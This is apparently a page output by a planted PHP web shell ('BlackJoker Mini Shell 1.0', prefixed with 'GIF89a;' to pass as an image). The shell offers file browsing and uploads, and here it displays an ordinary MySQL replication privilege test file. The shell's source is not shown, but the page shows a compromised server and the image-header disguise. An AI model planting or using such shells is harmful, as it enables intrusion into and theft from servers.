GIF89a; Mini Shell

Mini Shell

Direktori : /usr/share/mysql-test/suite/engines/funcs/t/
Upload File :
Current File : //usr/share/mysql-test/suite/engines/funcs/t/rpl_slave_status.test

--source include/master-slave.inc

############################################################################
# Test case for BUG#10780
#
# REQUIREMENT
#   A slave without replication privileges should have Slave_IO_Running = No

# 1. Create new replication user
connection master;
grant replication slave on *.* to rpl@127.0.0.1 identified by 'rpl';

connection slave;
stop slave;
change master to master_user='rpl',master_password='rpl';
start slave;

# 2. Do replication as new user
connection master;
--disable_warnings
drop table if exists t1;
--enable_warnings
create table t1 (n int);
insert into t1 values (1);
save_master_pos;
connection slave;
sync_with_master;
select * from t1;

# 3. Delete new replication user
connection master;
drop user rpl@127.0.0.1;
sleep 1;
flush privileges;
connection slave;

# 4. Restart slave without privileges
# (slave.err will contain access denied error for this START SLAVE command)
stop slave;
start slave;

# 5. Make sure Slave_IO_Running = No
--vertical_results
#checking show slave status
let $status_items = Master_Host,Master_User,Connect_Retry,Master_Log_File,Relay_Master_Log_File,Slave_IO_Running,Slave_SQL_Running,Replicate_Do_DB,Replicate_Ignore_DB,Replicate_Do_Table,Replicate_Ignore_Table,Replicate_Wild_Do_Table,Replicate_Wild_Ignore_Table,Last_Errno,Last_Error,Skip_Counter,Until_Condition,Until_Log_File,Until_Log_Pos,Master_SSL_Allowed,Master_SSL_CA_File,Master_SSL_CA_Path,Master_SSL_Cert,Master_SSL_Cipher,Master_SSL_Key,Seconds_Behind_Master,Master_SSL_Verify_Server_Cert,Last_SQL_Errno,Last_SQL_Error,Replicate_Ignore_Server_Ids,Master_Server_Id;
source include/show_slave_status.inc;

# Cleanup (Note that slave IO thread is not running)
connection slave;
drop table t1;
connection master;
drop table t1;

# end of test case for BUG#10780

# end of 4.1 tests

./BlackJoker Mini Shell 1.0